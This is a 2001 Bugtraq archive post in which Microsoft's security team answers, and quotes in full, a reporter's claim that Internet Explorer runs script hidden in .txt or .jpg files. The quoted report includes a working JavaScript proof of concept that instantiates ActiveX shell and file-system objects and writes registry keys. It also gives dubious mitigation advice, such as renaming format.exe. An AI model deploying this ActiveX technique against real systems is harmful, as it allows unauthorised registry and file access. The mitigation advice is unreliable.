[21995] in bugtraq
RE: TXT or HTML? -- IE NEW BUG
daemon@ATHENA.MIT.EDU (Microsoft Security Response Center)
Sun Jul 29 23:52:39 2001
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Date: Sun, 29 Jul 2001 08:09:59 -0700
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From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "cr4zybird" <cr4zybird@hotmail.com>, <bugtraq@securityfocus.com>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
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Hi All -
We investigated this report when we received it on 20 July, and reported
our findings to the author. The short answer is that there doesn't
appear to be anything new here. However, because the report mixes
references to several different issues, it can be difficult to see why
this is.
* The Javascript listing below does indeed exploit a
vulnerability. However, it's a known vulnerablity for which a patch has
been available since October 2000. The issue is discussed in Microsoft
Security Bulletin MS00-075
(http://www.microsoft.com/technet/security/bulletin/MS00-075.asp).
* If script were included within a .txt, .jpg or other file and
hosted on a web site, it could be opened automatically by a page on the
site. However, the script would run in the web page's domain, so it
would be subject to all the same limitations as script on the page
itself. That is, embedding the script within the file wouldn't gain the
attacker any capabilities.
* If a user could be convinced to download a .txt, .jpg or other
file to the desktop and then open it, either of two effects would
result, depending on the file type. Most file types don't open in IE by
default. For instance, .txt files open in Notepad by default. In these
cases, the script in the file wouldn't run. Other file types,
principally image files, do open in IE by default. However, when
they're opened from the local machine, they're sent directly to the
image rendering engine in IE, bypassing the script parser. Once again,
the script wouldn't run.
* Attached files in email are handled the same as downloaded
files. So again, either the file would open by default in a program
other than IE, or would open in a way that bypasses the script
interpreter.
Hope that helps explain the situation. Regards,
Scott Culp
Security Program Manager
Microsoft Security Response Center
-----Original Message-----
From: cr4zybird [mailto:cr4zybird@hotmail.com]
Sent: Friday, July 27, 2001 3:07 PM
To: bugtraq@securityfocus.com
Subject: TXT or HTML? -- IE NEW BUG
TXT or HTML? -- IE NEW BUG
vulnerable programs:
IE4 ,IE5 ,IE5,IE6 ,Microsoft Word ,Microsoft
Excel,Microsoft PowerPoint,
Tencent explorer (I've tested all the versions of IE that
i can find, they
are all vulnerable)
description:
IE doesn't recognize the extensions of files, which
may contain some html
code.
Write a HTML file on NOTEPAD. save it as *.txt.
upload to any server.then
use IE to visit this page.Found: IE excuted the HTML
code which contained in
*.txt files. and we can also change the extension, like
*.jpg or other
non-downloaded files.finally i found that IE can't
recognize the extension
of a file.
using this bug, anyone who knows how to make
webpages can successfully
attack other people. because of user's generic
thought, they think only
.html/.htm can be used to attack, but now,
even .txt.jpg.png can do
everything that a hmtl page can do! even the e-mail
attachment! because
outlook express is vulnerable, too. treat it seriously
please.
Due to the company's not wanting to be responsible
for this bug, please,
take it seriously, and be aware.
here is a source code, just to prove the existence of
this new bug.
<SCRIPT Language="JavaScript"
type="text/javascript">
<!--
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLE
T>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-
00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-
00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet
Explorer\\Main\\Window
Title", "it's a good day to die!");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Window
Title", "it's a good day to die!");
var expdate = new Date((new Date()).getTime() +
(1));
document.cookie="Chg=general; expires=" +
expdate.toGMTString() + ";
path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
// -->
</SCRIPT>
<img src=http://www.gnu.org/graphics/gnu-head-
sm.jpg>
it's a .jpg which may change your IE title(you have to
change the extension
to *.jpg first)
non-vulnerable programs:
netscape
solutions:
1) download some antivirus softwares. and update
the virus datebase all the
time. and change the name of some 'dangerous'
programs in your system, such
as format.exe deltree.exe etc. i.e change format.exe
to format_0.com etc.
2) try, not to visit those so-
called 'hacker'or'cracking'sites. most of the
time, you are the victim while you want to learn to
attack others.
3) if you have to go visit some site that you are not
quite sure if they are
safe. then check it here first:
http://crazybird.51.net/look.htm
or you can also save the source code of this page
to your computer, then
save it as *.htm, so you can execute it on your own
comp. be aware if it
says "the web page contains some unsafe ActiveX"
or something like that,
then you'd better not to execute that ActiveX widget.
and i can't promise
that it can give you this kind of warn for any
aggressive files..
4) DO NOT open your attachment in IE!!!!!don't ever
open any type of file in
IE directly!!!BE AWARE!! you'd better use antivirus
to scan it before you
open it after you've download it to ur computer.
5) Update the system patch immediately if the patch
comes out.
if you still have quesitions, mail to:
cr4zybird@hotmail.com
thanks to: springcream, skywind, nETMONKEY,
xiajian, Nancy. they've gave me
a lot of help on testing and communicatin with
Microsoft
by:
crazybird
cr4zybird@hotmail.com
IRC: irc.sunnet.org 6667
#CNFORCE
26/7/01 China
